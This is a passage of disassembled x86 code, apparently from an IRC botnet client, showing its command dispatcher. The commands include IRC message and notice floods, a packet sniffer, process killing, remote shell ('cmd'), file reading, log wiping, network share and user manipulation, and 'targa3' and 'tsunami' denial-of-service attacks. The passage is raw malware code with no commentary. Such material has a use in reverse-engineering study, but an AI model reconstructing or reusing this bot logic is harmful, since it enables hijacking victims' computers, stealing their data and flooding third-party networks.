		lea	eax, [ebp+var_2C0]
		push	offset dword_42ECEC
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h


loc_404D65:				; CODE XREF: sub_401AA1+328Fj
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404E51
		cmp	[ebp+esi+var_88], ebx
		jz	loc_404E51
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42ED74
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 24h
		call	sub_418642
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42ED74
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h
		call	sub_418642
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42ED74
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h


loc_404E51:				; CODE XREF: sub_401AA1+32D5j
					; sub_401AA1+32E2j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404F3D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_404F3D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 24h
		call	sub_418642
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h
		call	sub_418642
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h


loc_404F3D:				; CODE XREF: sub_401AA1+33C1j
					; sub_401AA1+33CEj
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405051
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405051
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42EC6C
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 20h
		call	sub_418642
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42EC54
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 10h
		call	sub_418642
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42EC3C
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 10h
		call	sub_418642
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42EC3C
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 10h


loc_405051:				; CODE XREF: sub_401AA1+34ADj
					; sub_401AA1+34BAj
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405174
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405174
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42EC6C
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 20h
		call	sub_418642
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h
		call	sub_418642
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h
		call	sub_418642
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h


loc_405174:				; CODE XREF: sub_401AA1+35C1j
					; sub_401AA1+35CEj
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4051BA
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4051BA
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_414C14
		add	esp, 14h


loc_4051BA:				; CODE XREF: sub_401AA1+36E4j
					; sub_401AA1+36EFj
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405A0A
		mov	edi, offset dword_4D5B0C


loc_4051D6:				; CODE XREF: sub_401AA1+3754j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4051E9
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4051E9
		push	eax
		call	dword_4CDF78	; closesocket


loc_4051E9:				; CODE XREF: sub_401AA1+3739j
					; sub_401AA1+373Fj
		add	edi, 210h
		cmp	edi, offset dword_4DC22C
		jl	short loc_4051D6
		cmp	[ebp+var_8], ebx
		jnz	loc_405A0A
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42EBDC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h
		jmp	loc_405A0A
; ---------------------------------------------------------------------------


loc_40521F:				; CODE XREF: sub_401AA1+2C2Dj
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088BE
		push	edi
		push	offset aN	; "n"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088BE
		push	edi
		push	offset aJoin	; "join"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40889A
		push	edi
		push	offset aJ	; "j"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40889A
		push	edi
		push	offset aPart_0	; "part"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887D
		push	edi
		push	offset aPt	; "pt"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887D
		push	edi
		push	offset aRaw	; "raw"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408844
		push	edi
		push	offset aR	; "r"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408844
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408792
		push	edi
		push	offset aK	; "k"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408792
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086E4
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086E4
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408695
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408695
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40867C
		push	edi
		push	offset aPr	; "pr"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40867C
		push	edi
		push	offset aOpen	; "open"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40864E
		push	edi
		push	offset aO	; "o"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40864E
		push	edi
		push	offset aS3rv3rfg ; "s3rv3rfg"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408625
		push	edi
		push	offset aHyurtutrrt ; "hyurtutrrt"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408625
		push	edi
		push	offset aDns	; "dns"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085BD
		push	edi
		push	offset aDn	; "dn"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085BD
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40858D
		push	edi
		push	offset aKp	; "kp"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40858D
		push	edi
		push	offset aKill	; "kill"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40852E
		push	edi
		push	offset aKi	; "ki"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40852E
		push	edi
		push	offset aDelete	; "delete"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F3
		push	edi
		push	offset aDel	; "del"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F3
		push	edi
		push	offset aList	; "list"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084D4
		push	edi
		push	offset aLi	; "li"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084D4
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40845E
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40845E
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408408
		push	edi
		push	offset aCm	; "cm"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408408
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40837D
		push	edi
		push	offset aRf	; "rf"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40837D
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405664
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40562A
		push	21h
		call	sub_40A372
		test	eax, eax
		pop	ecx
		jle	short loc_405558
		push	offset unk_42EB04
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_405558:				; CODE XREF: sub_401AA1+3AABj
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_D98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_D10], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_D0C], eax
		jnz	short loc_40559A
		mov	esi, offset aWm_2 ; "#wm##"
		push	offset byte_4400B4
		push	esi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40559A
		mov	esi, [ebp+var_88]


loc_40559A:				; CODE XREF: sub_401AA1+3ADBj
					; sub_401AA1+3AF1j
		push	esi
		lea	eax, [ebp+var_D94]
		push	80h
		push	eax
		call	sub_4186E0
		lea	eax, [ebp+var_2C0]
		push	offset unk_42EAD4
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	21h
		push	eax
		call	sub_40A130
		add	esp, 20h
		mov	[ebp+var_D14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D98]
		push	ebx
		push	eax
		push	offset sub_411439
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_D14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_40561D
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42EA98
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_405615:				; CODE XREF: sub_401AA1+3B82j
		push	32h
		call	dword_424078	; Sleep


loc_40561D:				; CODE XREF: sub_401AA1+3B61j
		cmp	[ebp+var_D08], ebx
		jz	short loc_405615
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_401AA1+3A9Bj
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404421
		push	ebx
		push	21h
		call	sub_40A325
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40565A
		push	eax
		push	offset unk_42EA58
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_40565A:				; CODE XREF: sub_401AA1+3BACj
		push	offset unk_42EA24
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_405664:				; CODE XREF: sub_401AA1+3A84j
		push	edi
		push	offset aIdent	; "ident"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405739
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056FF
		push	2
		call	sub_40A372
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jle	short loc_4056A8
		push	offset dword_42E9FC
		jmp	loc_40661A
; ---------------------------------------------------------------------------


loc_4056A8:				; CODE XREF: sub_401AA1+3BFBj
		push	offset dword_42E9D0
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	2
		push	eax
		call	sub_40A130
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F755
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_440E4C[esi], eax
		jnz	loc_404421
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E99C
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_4056FF:				; CODE XREF: sub_401AA1+3BE9j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404421
		push	ebx
		push	2
		call	sub_40A325
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40572F
		push	eax
		push	offset dword_42E964
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_40572F:				; CODE XREF: sub_401AA1+3C81j
		push	offset dword_42E944
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_405739:				; CODE XREF: sub_401AA1+3BD2j
		push	edi
		push	offset aNet	; "net"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4059E0
		cmp	dword_4CDFAC, ebx
		jz	short loc_405768
		cmp	dword_4CDFD4, ebx
		jz	short loc_405768
		push	offset unk_42E90C
		jmp	loc_4059CD
; ---------------------------------------------------------------------------


loc_405768:				; CODE XREF: sub_401AA1+3CB3j
					; sub_401AA1+3CBBj
		cmp	[ebp+var_C], ebx
		jz	loc_4063F5
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_40578D
		push	edi
		push	[ebp+var_C]
		call	sub_418660
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_40578D:				; CODE XREF: sub_401AA1+3CDCj
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		cmp	edi, ebx
		jz	short loc_4057C8
		push	[ebp+arg_0]
		push	3


loc_4057A9:				; CODE XREF: sub_401AA1+3D71j
					; sub_401AA1+3D8Bj ...
		call	sub_415E14
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F298
		push	eax
		call	sub_4185E6
		add	esp, 14h
		jmp	loc_4063F5
; ---------------------------------------------------------------------------


loc_4057C8:				; CODE XREF: sub_401AA1+3D01j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4160BB
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_4057F0
		push	offset unk_42E8E8
		jmp	loc_4059D3
; ---------------------------------------------------------------------------


loc_4057F0:				; CODE XREF: sub_401AA1+3D43j
		push	offset unk_42E8C8
		jmp	loc_4059D3
; ---------------------------------------------------------------------------


loc_4057FA:				; CODE XREF: sub_401AA1+3CFDj
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405814
		push	[ebp+arg_0]
		push	4
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------


loc_405814:				; CODE XREF: sub_401AA1+3D6Aj
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405831
		push	[ebp+arg_0]
		push	5
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_405831:				; CODE XREF: sub_401AA1+3D84j
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40584E
		push	[ebp+arg_0]
		push	6
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_40584E:				; CODE XREF: sub_401AA1+3DA1j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40586B
		push	[ebp+arg_0]
		push	1
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_40586B:				; CODE XREF: sub_401AA1+3DBEj
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4058EB
		cmp	edi, ebx
		jz	short loc_4058B8
		cmp	[ebp+var_8FC], bl
		jz	short loc_405890
		push	ebx
		push	edi
		push	1
		jmp	short loc_405899
; ---------------------------------------------------------------------------


loc_405890:				; CODE XREF: sub_401AA1+3DE7j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_405899:				; CODE XREF: sub_401AA1+3DEDj
		call	sub_4161FB
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F298
		push	eax
		call	sub_4185E6
		add	esp, 18h
		jmp	loc_4063F5
; ---------------------------------------------------------------------------


loc_4058B8:				; CODE XREF: sub_401AA1+3DDFj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416389
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_4058E1
		push	offset unk_42E88C
		jmp	loc_4059D3
; ---------------------------------------------------------------------------


loc_4058E1:				; CODE XREF: sub_401AA1+3E34j
		push	offset unk_42E86C
		jmp	loc_4059D3
; ---------------------------------------------------------------------------


loc_4058EB:				; CODE XREF: sub_401AA1+3DDBj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40597C
		cmp	edi, ebx
		jz	short loc_40594F
		push	[ebp+var_4]
		cmp	[ebp+var_8FC], bl
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_40591C
		push	ebx
		push	edi
		push	1
		jmp	short loc_405930
; ---------------------------------------------------------------------------


loc_40591C:				; CODE XREF: sub_401AA1+3E73j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_40592C
		push	esi
		push	edi
		push	ebx
		jmp	short loc_405930
; ---------------------------------------------------------------------------


loc_40592C:				; CODE XREF: sub_401AA1+3E84j
		push	ebx
		push	edi
		push	2


loc_405930:				; CODE XREF: sub_401AA1+3E79j
					; sub_401AA1+3E89j
		call	sub_4164AA
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F298
		push	eax
		call	sub_4185E6
		add	esp, 24h
		jmp	loc_4063F5
; ---------------------------------------------------------------------------


loc_40594F:				; CODE XREF: sub_401AA1+3E5Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4169BE
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_405975
		push	offset unk_42E844
		jmp	short loc_4059D3
; ---------------------------------------------------------------------------


loc_405975:				; CODE XREF: sub_401AA1+3ECBj
		push	offset unk_42E824
		jmp	short loc_4059D3
; ---------------------------------------------------------------------------


loc_40597C:				; CODE XREF: sub_401AA1+3E5Bj
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059C8
		cmp	edi, ebx
		jz	short loc_4059C1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C68
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F298
		push	eax
		call	sub_4185E6
		add	esp, 1Ch
		jmp	loc_4063F5
; ---------------------------------------------------------------------------


loc_4059C1:				; CODE XREF: sub_401AA1+3EF0j
		push	offset unk_42E7F8
		jmp	short loc_4059CD
; ---------------------------------------------------------------------------


loc_4059C8:				; CODE XREF: sub_401AA1+3EECj
		push	offset unk_42E7DC


loc_4059CD:				; CODE XREF: sub_401AA1+28DFj
					; sub_401AA1+3CC2j ...
		lea	eax, [ebp+var_2C0]


loc_4059D3:				; CODE XREF: sub_401AA1+3D4Aj
					; sub_401AA1+3D54j ...
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx
		jmp	loc_4063F5
; ---------------------------------------------------------------------------


loc_4059E0:				; CODE XREF: sub_401AA1+3CA7j
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408299
		push	edi
		push	offset aGh	; "gh"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408299


loc_405A0A:				; CODE XREF: sub_401AA1+372Aj
					; sub_401AA1+3759j ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401F20
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40827C
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40827C
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823B
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823B
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081E1
		push	[ebp+arg_8]
		push	offset dword_42ED88
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081E1
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40816F
		push	[ebp+arg_8]
		push	offset aA_0	; "a"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40816F
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40810B
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40810B
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080CD
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080CD
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408061
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408061
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FDE
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FDE
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F71
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F71
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F4B
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F4B
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EE7
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EE7
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DEF
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DEF
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D1E
		push	[ebp+arg_8]
